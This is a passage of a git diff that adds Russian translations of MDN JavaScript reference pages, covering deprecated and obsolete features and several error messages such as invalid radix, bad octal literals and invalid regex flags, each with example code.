+  }
+  set #decoratedMessage(msg) {
+    this.#message = msg
+  }
+
+  constructor() {
+    this.#decoratedMessage = 'hello world'
+    console.log(this.#decoratedMessage)
+  }
+}
+
+new ClassWithPrivateAccessor();
+// expected output: "✨hello worl​d✨"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">Таблица совместимости на этой странице составлена из структурированных данных. Если Вы хотите внести свой вклад в данные, пожалуйста, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос.</div>
+
+<p>{{Compat("javascript.classes.private_class_fields")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields">Public class fields</a></li>
+ <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/deprecated_and_obsolete_features/index.html b/files/ru/web/javascript/reference/deprecated_and_obsolete_features/index.html
new file mode 100644
index 0000000000..e579175a94
--- /dev/null
+++ b/files/ru/web/javascript/reference/deprecated_and_obsolete_features/index.html
@@ -0,0 +1,290 @@
+---
+title: Deprecated and obsolete features
+slug: Web/JavaScript/Reference/Deprecated_and_obsolete_features
+tags:
+  - Deprecated
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>This page lists features of JavaScript that are deprecated (that is, still available but planned for removal) and obsolete (that is, no longer usable).</p>
+
+<h2 id="Deprecated_features">Deprecated features</h2>
+
+<p>These deprecated features can still be used, but should be used with caution because they are expected to be removed entirely sometime in the future. You should work to remove their use from your code.</p>
+
+<h3 id="RegExp_properties">RegExp properties</h3>
+
+<p>The following properties are deprecated. This does not affect their use in {{jsxref("String.replace", "replacement strings", "", 1)}}:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.n", "$1-$9")}}</td>
+   <td>
+    <p>Parenthesized substring matches, if any.<br>
+     <strong>Warning:</strong> Using these properties can result in problems, since browser extensions can modify them. Avoid them!</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.input", "$_")}}</td>
+   <td>Смотрите <code>input</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.multiline", "$*")}}</td>
+   <td> Смотрите <code>multiline</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastMatch", "$&amp;")}}</td>
+   <td>Смотрите <code>lastMatch</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastParen", "$+")}}</td>
+   <td>Смотрите <code>lastParen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.leftContext", "$`")}}</td>
+   <td>Смотрите <code>leftContext</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.rightContext", "$'")}}</td>
+   <td>Смотрите <code>rightContext</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.input", "input")}}</td>
+   <td>The string against which a regular expression is matched.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastMatch", "lastMatch")}}</td>
+   <td>The last matched characters.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastParen", "lastParen")}}</td>
+   <td>The last parenthesized substring match, if any.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.leftContext", "leftContext")}}</td>
+   <td>The substring preceding the most recent match.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.rightContext", "rightContext")}}</td>
+   <td>The substring following the most recent match.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The following are now properties of <code>RegExp</code> instances, no longer of the <code>RegExp</code> object:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.global", "global")}}</td>
+   <td>Whether or not to test the regular expression against all possible matches in a string, or only against the first.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.ignoreCase", "ignoreCase")}}</td>
+   <td>Whether or not to ignore case while attempting a match in a string.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastIndex", "lastIndex")}}</td>
+   <td>The index at which to start the next match.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.multiline", "multiline")}}</td>
+   <td>Whether or not to search in strings across multiple lines.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.source", "source")}}</td>
+   <td>The text of the pattern.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="RegExp_methods">RegExp methods</h3>
+
+<ul>
+ <li>The {{jsxref("RegExp.compile", "compile()")}} method is deprecated.</li>
+ <li>The <code>valueOf</code> method is no longer specialized for <code>RegExp</code>. Use {{jsxref("Object.valueOf()")}}.</li>
+</ul>
+
+<h3 id="Function_properties">Function properties</h3>
+
+<ul>
+ <li>The {{jsxref("Global_Objects/Function/caller", "caller")}} and {{jsxref("Global_Objects/Function/arguments", "arguments")}} properties are deprecated, because they leak the function caller. Instead of the arguments property, you should use the {{jsxref("Functions/arguments", "arguments")}} object inside function closures.</li>
+</ul>
+
+<h3 id="Legacy_generator">Legacy generator</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "Legacy generator function statement")}} and {{jsxref("Operators/Legacy_generator_function", "Legacy generator function expression")}} are deprecated. Use {{jsxref("Statements/function*", "function* statement")}} and {{jsxref("Operators/function*", "function* expression")}} instead.</li>
+ <li>{{jsxref("Operators/Array_comprehensions", "JS1.7/JS1.8 Array comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} and {{jsxref("Operators/Generator_comprehensions", "JS1.7/JS1.8 Generator comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} are deprecated.</li>
+</ul>
+
+<h3 id="Iterator">Iterator</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/StopIteration", "StopIteration")}} устарел.</li>
+ <li>{{jsxref("Global_Objects/Iterator", "Iterator")}} устарел.</li>
+</ul>
+
+<h3 id="Object_methods">Object methods</h3>
+
+<ul>
+ <li>{{jsxref("Object.watch", "watch")}} and {{jsxref("Object.unwatch", "unwatch")}} are deprecated. Use {{jsxref("Proxy")}} instead.</li>
+ <li><code>__iterator__</code> устарел.</li>
+ <li>{{jsxref("Object.noSuchMethod", "__noSuchMethod__")}} is deprecated. Use {{jsxref("Proxy")}} instead.</li>
+</ul>
+
+<h3 id="Методы_даты">Методы даты</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Date/getYear", "getYear")}} и {{jsxref("Global_Objects/Date/setYear", "setYear")}} are affected by the Year-2000-Problem and have been subsumed by {{jsxref("Global_Objects/Date/getFullYear", "getFullYear")}} и {{jsxref("Global_Objects/Date/setFullYear", "setFullYear")}}.</li>
+ <li>You should use {{jsxref("Global_Objects/Date/toISOString", "toISOString")}} instead of the deprecated {{jsxref("Global_Objects/Date/toGMTString", "toGMTString")}} method in new code.</li>
+ <li>{{jsxref("Global_Objects/Date/toLocaleFormat", "toLocaleFormat")}} is deprecated.</li>
+</ul>
+
+<h3 id="Functions">Functions</h3>
+
+<ul>
+ <li>{{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}} are deprecated. Use regular {{jsxref("Operators/function", "functions")}} or {{jsxref("Functions/Arrow_functions", "arrow functions", "", 1)}} instead.</li>
+</ul>
+
+<h3 id="Proxy">Proxy</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.create</a> and <a href="/en-US/docs/Archive/Web/Old_Proxy_API">Proxy.createFunction</a> are deprecated. Use {{jsxref("Proxy")}} instead.</li>
+ <li>The following traps are obsolete:
+  <ul>
+   <li><code>hasOwn</code> ({{bug(980565)}}, Firefox 33).</li>
+   <li><code>getEnumerablePropertyKeys</code> ({{bug(783829)}}, Firefox 37)</li>
+   <li><code>getOwnPropertyNames</code> ({{bug(1007334)}}, Firefox 33)</li>
+   <li><code>keys</code> ({{bug(1007334)}}, Firefox 33)</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Escape_sequences">Escape sequences</h3>
+
+<ul>
+ <li>Octal escape sequences (\ followed by one, two, or three octal digits) are deprecated in string and regular expression literals.</li>
+ <li>The {{jsxref("Global_Objects/escape", "escape")}} and {{jsxref("Global_Objects/unescape", "unescape")}} functions are deprecated. Use {{jsxref("Global_Objects/encodeURI", "encodeURI")}}, {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}, {{jsxref("Global_Objects/decodeURI", "decodeURI")}} or {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} to encode and decode escape sequences for special characters.</li>
+</ul>
+
+<h3 id="Методы_строк">Методы строк</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/tag/HTML%20wrapper%20methods">HTML wrapper methods</a> like {{jsxref("String.prototype.fontsize")}} and {{jsxref("String.prototype.big")}}.</li>
+ <li>{{jsxref("String.prototype.quote")}} is removed from Firefox 37.</li>
+ <li>non standard <code>flags</code> parameter in {{jsxref("String.prototype.search")}}, {{jsxref("String.prototype.match")}}, and {{jsxref("String.prototype.replace")}} are deprecated.</li>
+ <li>{{jsxref("String.prototype.substr")}} probably won't be removed anytime soon, but it's defined in <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-string.prototype.substr" rel="noopener">Annex B</a> of the ECMA-262 standard, whose <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-additional-ecmascript-features-for-web-browsers">introduction</a> states: "… Programmers should not use or assume the existence of these features and behaviours when writing new ECMAScript code. …"</li>
+</ul>
+
+<h2 id="Obsolete_features">Obsolete features</h2>
+
+<p>These obsolete features have been entirely removed from JavaScript and can no longer be used as of the indicated version of JavaScript.</p>
+
+<h3 id="Объект">Объект</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Object/count", "__count__")}}</td>
+   <td>Returns the number of enumerable properties directly on a user-defined object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Object/Parent", "__parent__")}}</td>
+   <td>Points to an object's context.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}</td>
+   <td>Evaluates a string of JavaScript code in the context of the specified object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.observe()")}}</td>
+   <td>Asynchronously observing the changes to an object.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.unobserve()")}}</td>
+   <td>Remove observers.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getNotifier()")}}</td>
+   <td>Creates an object that allows to synthetically trigger a change.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Function">Function</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Function/arity", "arity")}}</td>
+   <td>Number of formal arguments.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Массив">Массив</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Свойство</td>
+   <td>Описание</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.observe()")}}</td>
+   <td>Асинхронный просмотр изменений в массивах. </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.unobserve()")}}</td>
+   <td>Remove observers.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Число">Число</h3>
+
+<ul>
+ <li>{{jsxref("Number.toInteger()")}}</li>
+</ul>
+
+<h3 id="ParallelArray">ParallelArray</h3>
+
+<ul>
+ <li>{{jsxref("ParallelArray")}}</li>
+</ul>
+
+<h3 id="Statements">Statements</h3>
+
+<ul>
+ <li>{{jsxref("Statements/for_each...in", "for each...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
+ <li>Destructuring {{jsxref("Statements/for...in", "for...in")}} is deprecated. Use {{jsxref("Statements/for...of", "for...of")}} instead.</li>
+ <li>let blocks and let expressions are obsolete.</li>
+</ul>
+
+<h3 id="E4X">E4X</h3>
+
+<p>Смотрите <a href="/en-US/docs/Archive/Web/E4X">E4X</a>.</p>
+
+<h3 id="Sharp_variables">Sharp variables</h3>
+
+<p>Смотрите <a href="/en-US/docs/Archive/Web/Sharp_variables_in_JavaScript">Sharp variables in JavaScript</a>.</p>
diff --git a/files/ru/web/javascript/reference/errors/already_has_pragma/index.html b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html
new file mode 100644
index 0000000000..5de1095a97
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/already_has_pragma/index.html
@@ -0,0 +1,44 @@
+---
+title: >-
+  Warning: -file- is being assigned a //# sourceMappingURL, but already has
+  one(Внимание: -file- является в сущности назначенным //# sourceMappingURL, но
+  уже имеет один)
+slug: Web/JavaScript/Reference/Errors/Already_has_pragma
+translation_of: Web/JavaScript/Reference/Errors/Already_has_pragma
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Опасно: Внимание: -file- является в сущности назначенным //# sourceMappingURL, но уже имеет один)</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>Предупреждение. Выполнение скрипта не будет остановлено.</p>
+
+<h2 id="Что_вы_сделали_не_так">Что вы сделали не так?</h2>
+
+<p> </p>
+
+<p>Для данного источника JavaScript исходная карта была указана несколько раз.</p>
+
+<p>Источники JavaScript часто объединяются и минимизируются, чтобы сделать их доставку с сервера более эффективной. С помощью сопоставлений исходного кода отладчик может сопоставить выполняемый код с исходными файлами. Существует два способа назначения исходной карты: с помощью комментария или путем установки заголовка для файла JavaScript.</p>
+
+<p> </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Настройка исходной карты с помощью комментария в файле:</p>
+
+<pre class="brush: js example-good">//# sourceMappingURL=http://example.com/path/to/your/sourcemap.map</pre>
+
+<p>Или, в качестве альтернативы, вы можете установить заголовок, на ваш JavaScript файл :</p>
+
+<pre class="brush: js example-good">X-SourceMap: /path/to/file.js.map</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">How to use a source map – Firefox Tools documentation</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/developertools/sourcemaps/">Introduction to source maps – HTML5 rocks</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/array_sort_argument/index.html b/files/ru/web/javascript/reference/errors/array_sort_argument/index.html
new file mode 100644
index 0000000000..49709baa5f
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/array_sort_argument/index.html
@@ -0,0 +1,45 @@
+---
+title: >-
+  TypeError: invalid Array.prototype.sort argument (TypeError: недопустимый
+  Array.prototype.sort argument)
+slug: Web/JavaScript/Reference/Errors/Array_sort_argument
+translation_of: Web/JavaScript/Reference/Errors/Array_sort_argument
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: аргумент не является объектом функции (Edge)
+TypeError: недопустимый Array.prototype.sort аргумент для (Firefox)</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("TypeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Аргумент {{jsxref("Array.prototype.sort()")}} предполагается либо {{jsxref("undefined")}} или функцию, которая сравнивает его операндов.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Неправильные_примеры">Неправильные примеры</h3>
+
+<pre class="brush: js example-bad">[1, 3, 2].sort(5);  // TypeError
+
+var cmp = { asc: (x, y) =&gt; x &gt;= y, dsc: (x, y) =&gt; x &lt;= y };
+[1, 3, 2].sort(cmp[this.key] || 'asc');  // TypeError
+</pre>
+
+<h3 id="правильные">правильные</h3>
+
+<pre class="brush: js example-good">[1, 3, 2].sort();   // [1, 2, 3]
+
+
+var cmp = { asc: (x, y) =&gt; x &gt;= y, dsc: (x, y) =&gt; x &lt;= y };
+[1, 3, 2].sort(cmp[this.key || 'asc']); // [1, 2, 3]</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/bad_octal/index.html b/files/ru/web/javascript/reference/errors/bad_octal/index.html
new file mode 100644
index 0000000000..d36656c80e
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/bad_octal/index.html
@@ -0,0 +1,53 @@
+---
+title: 'Внимание: 08/09 не является восьмеричной постоянной по ECMA-262'
+slug: Web/JavaScript/Reference/Errors/Bad_octal
+tags:
+  - Ошибки
+  - Предупреждения
+  - Синтаксические ошибки
+translation_of: Web/JavaScript/Reference/Errors/Bad_octal
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">Внимание: Синтаксическая ошибка: 08 не является восьмеричной постоянной по ECMA-262.
+Внимание: Синтаксическая ошибка: 09 не является восьмеричной постоянной по ECMA-262.
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>Предупреждение. Выполнение JavaScript не будет остановлено.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Десятеричные литералы могут начинаться с нуля (<code>0</code>), за которым следуют другие десятеричные цифры. Но, если все цифры после начального нуля (<code>0</code>) меньше 8, то число интерпретируется как восьмеричное. Т.к. 08 и 09 не соответствуют даному условию, JavaScript выводит предупреждение об этом.</p>
+
+<p>Следует отметить, что восьмеричные литералы и восьмеричные управляющие последовательности являются устаревшими и <span id="result_box" lang="ru"><span>будут содержать дополнительное предупреждение об этом.</span></span> С выпуском ECMAScript 6 версии в синтаксисе используется начальный нуль (<code>0</code>), за которым следует <span id="result_box" lang="ru"><span>строчная или прописная</span></span> Латинская буква "O" (<code>0o</code> или <code>0O)</code>.  <span id="result_box" lang="ru"><span>Дополнительную информацию смотрите на странице о </span></span> <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">лексической грамматике</a>.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Недопустимые_восьмеричные_числа">Недопустимые восьмеричные числа</h3>
+
+<pre class="brush: js example-bad">08;
+09;
+// Синтаксическая ошибка: 08 не является восьмеричной постоянной по ECMA-262.
+// Синтаксическая ошибка: восьмеричные литералы с "0"-префиксом и восьмеричные управляющие последовательности
+// являются устаревшими</pre>
+
+<h3 id="Допустимые_восьмеричные_числа">Допустимые восьмеричные числа</h3>
+
+<p><span id="result_box" lang="ru"><span>Используйте начальный нуль, за которым следует буква «o»;</span></span></p>
+
+<pre class="brush: js example-good">0O755;
+0o644;
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Octal">Лексический синтаксис</a></li>
+ <li>
+  <p><a href="/en-US/docs/Web/JavaScript/Reference/Errors/Deprecated_octal">Синтаксическая ошибка: восьмеричные литералы с "0"-префиксом и восьмеричные управляющие последовательности являются устаревшими</a></p>
+ </li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/bad_radix/index.html b/files/ru/web/javascript/reference/errors/bad_radix/index.html
new file mode 100644
index 0000000000..b3e84de1e7
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/bad_radix/index.html
@@ -0,0 +1,61 @@
+---
+title: 'RangeError: radix must be an integer'
+slug: Web/JavaScript/Reference/Errors/Bad_radix
+tags:
+  - JavaScript
+  - RangeError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Bad_radix
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">RangeError: radix must be an integer at least 2 and no greater than 36 (Firefox)
+RangeError: toString() radix argument must be between 2 and 36 (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("RangeError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p><span class="notranslate">Метод </span> {{jsxref("Number.prototype.toString()")}} <span class="notranslate">был вызван с дополнительным параметром <code>radix</code>.</span> <span class="notranslate"> Его значение должно быть целым числом, принадлежащим промежутку от 2 до 36 и указывающим основание системы счисления, которая должна быть использована для представления численных значений.</span> <span class="notranslate"> Например, десятичное (основание 10) число 169 представляется в шестнадцатеричном виде (основание 16) как A9.</span></p>
+
+<p><span class="notranslate">Почему значение этого параметра не может быть больше, чем 36? Для оснований</span><span class="notranslate">, превышающих 10, в качестве цифр используются алфавитные символы;</span> <span class="notranslate"> следовательно, основание не может быть больше 36, поскольку в латинском алфавите (используемом английским и многими другими языками) только 26 символов.</span></p>
+
+<p><span class="notranslate">Наиболее распространенные основания систем счисления:</span></p>
+
+<ul>
+ <li>2 для <a href="https://ru.wikipedia.org/wiki/Двоичная_система_счисления">двоичных чисел</a>,</li>
+ <li>8 для <a href="https://ru.wikipedia.org/wiki/Восьмеричная_система_счисления">восьмеричных чисел</a>,</li>
+ <li>10 для <a href="https://ru.wikipedia.org/wiki/Десятичная_система_счисления">десятичных чисел</a>,</li>
+ <li>16 для <a href="https://ru.wikipedia.org/wiki/Шестнадцатеричная_система_счисления">шестнадцатеричных чисел</a>.</li>
+</ul>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 class="highlight-spanned" id="Некорректное_применение"><span class="highlight-span"><span class="notranslate">Некорректное применение</span></span></h3>
+
+<pre class="brush: js example-bad">(42).toString(0);
+(42).toString(1);
+(42).toString(37);
+(42).toString(150);
+// Нельзя использовать для форматирования строку данного вида:
+(12071989).toString('MM-dd-yyyy');
+</pre>
+
+<h3 id="Корректное_применение">Корректное применение</h3>
+
+<pre class="brush: js example-good">(42).toString(2);     // "101010" (двоичная система)
+(13).toString(8);     // "15"     (восьмеричная)
+(0x42).toString(10);  // "66"     (десятичная)
+(100000).toString(16) // "186a0"  (шестнадцатеричная)
+</pre>
+
+<h2 id="Смотрите_также"><span class="notranslate">Смотрите также</span></h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toString()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html
new file mode 100644
index 0000000000..6e3604af66
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/bad_regexp_flag/index.html
@@ -0,0 +1,102 @@
+---
+title: 'SyntaxError: invalid regular expression flag "x"'
+slug: Web/JavaScript/Reference/Errors/Bad_regexp_flag
+translation_of: Web/JavaScript/Reference/Errors/Bad_regexp_flag
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: invalid regular expression flag "x" (Firefox)
+SyntaxError: Invalid regular expression flags (Chrome)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>В коде есть недопустимые флаги регулярных выражений. Литерал в регулярном выражении, который содержит шаблон заключенный между двумя слэшами, флаги определяются после второго флага. Они также могут быть объявлены в конструкторе функции {{jsxref("RegExp")}} object (второй параметр). Флаги регулярного выражения могут быть использованы отдельно или вместе в любой очередности, но в ECMAScript их только пять.</p>
+
+<p>Чтоб включить флаг в регулярное выражение, используйте синтаксис:</p>
+
+<pre class="brush: js">var re = /pattern/flags;
+</pre>
+
+<p>или</p>
+
+<pre class="brush: js">var re = new RegExp('pattern', 'flags');</pre>
+
+<p>Флаги регулярного выражения</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Флаг</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>g</code></td>
+   <td>Глобальный поиск.</td>
+  </tr>
+  <tr>
+   <td>i</td>
+   <td>Нечувствительный к регистру поиск.</td>
+  </tr>
+  <tr>
+   <td>m</td>
+   <td>Поиск по всем строкам.</td>
+  </tr>
+  <tr>
+   <td>u</td>
+   <td>Unicode; обрабатывать шаблон как последовательность кода Unicode</td>
+  </tr>
+  <tr>
+   <td>y</td>
+   <td>Выполняет «липкий» поиск, который будет начинаться с текущей позиции в целевой строке. Cм. {{jsxref("RegExp.sticky", "sticky")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Существует только пять действительных флагов регулярных выражений.</p>
+
+<pre class="brush: js example-bad">/foo/bar;
+
+// Ошибка синтаксиса: недействительный флаг "b" для регулярного выражения
+</pre>
+
+<p>Вы намеревались создать регулярное выражение? Выражение, содержащее два слэша, интерпретируется как литерал регулярного выражения.</p>
+
+<pre class="brush: js example-bad">let obj = {
+  url: /docs/Web
+};
+
+// Ошибка синтаксиса: недействительный флаг "W" для регулярного выражения
+</pre>
+
+<p>Или вы хотели создать строку вместо этого? Добавьте одинарные или двойные кавычки, чтобы создать строковый литерал. </p>
+
+<pre class="brush: js example-good">let obj = {
+  url: '/docs/Web'
+};</pre>
+
+<h3 id="Действительные_флаги_регулярного_выражения">Действительные флаги регулярного выражения </h3>
+
+<p>Вгляните на таблицу выше, где представлены пять действительных флагов регулярного выражения, которые разрешены в JavaScript</p>
+
+<pre class="brush: js example-good">/foo/g;
+/foo/gim;
+/foo/uy;
+</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Regular_Expressions">Regular expressions</a></li>
+ <li><a href="http://xregexp.com/flags/">XRegEx flags</a> – библиотека регулярного выражения, которая предоставляет четыре новых флага (<code>n</code>, <code>s</code>, <code>x</code>, <code>A</code>)</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html
new file mode 100644
index 0000000000..dd69cb3167
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/bad_return_or_yield/index.html
@@ -0,0 +1,56 @@
+---
+title: 'SyntaxError: return not in function'
+slug: Web/JavaScript/Reference/Errors/Bad_return_or_yield
+tags:
+  - JavaScript
+  - SyntaxError
+  - Ошибки
+translation_of: Web/JavaScript/Reference/Errors/Bad_return_or_yield
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">SyntaxError: 'return' statement outside of function (Edge)
+SyntaxError: return not in function (Firefox)
+SyntaxError: yield not in function (Firefox)
+</pre>
+
+<h2 id="Тип_ошибки">Тип ошибки</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Что_пошло_не_так">Что пошло не так?</h2>
+
+<p>Вызов оператора <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> или <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> был осуществлен вне <a href="/ru/docs/Web/JavaScript/Guide/Functions">функции</a>. Может, где-то пропущена фигурная скобка? Операторы <code>return</code> и <code>yield</code> не могут существовать вне функции, поскольку они завершают (или останавливают и возобновляют) её исполнение и указывают значение, возвращаемое в место, откуда она была вызвана.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js example-bad">var cheer = function(score) {
+  if (score === 147)
+    return 'Максимум!';
+  };
+  if (score &gt; 100) {
+    return 'Столетие!';
+  }
+}
+
+// SyntaxError: return not in function</pre>
+
+<p>На первый взгляд кажется, что фигурные скобки расставлены правильно, но в данном примере пропущена <code>{</code> после первого оператора <code>if</code>. Правильный вариант:</p>
+
+<pre class="brush: js example-good">var cheer = function(score) {
+  if (score === 147) {
+    return 'Максимум!';
+  }
+  if (score &gt; 100) {
+    return 'Столетие!';
+  }
+};</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Statements/return">return</a></code></li>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html
new file mode 100644
index 0000000000..0d309530e6
--- /dev/null
+++ b/files/ru/web/javascript/reference/errors/called_on_incompatible_type/index.html
@@ -0,0 +1,67 @@
+---
+title: X.prototype.y called on incompatible type
+slug: Web/JavaScript/Reference/Errors/Called_on_incompatible_type
+translation_of: Web/JavaScript/Reference/Errors/Called_on_incompatible_type
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<div> </div>
+
+<h2 id="Сообщение">Сообщение</h2>
+
+<pre class="syntaxbox">TypeError: 'this' не является  Set объектом (EdgE)
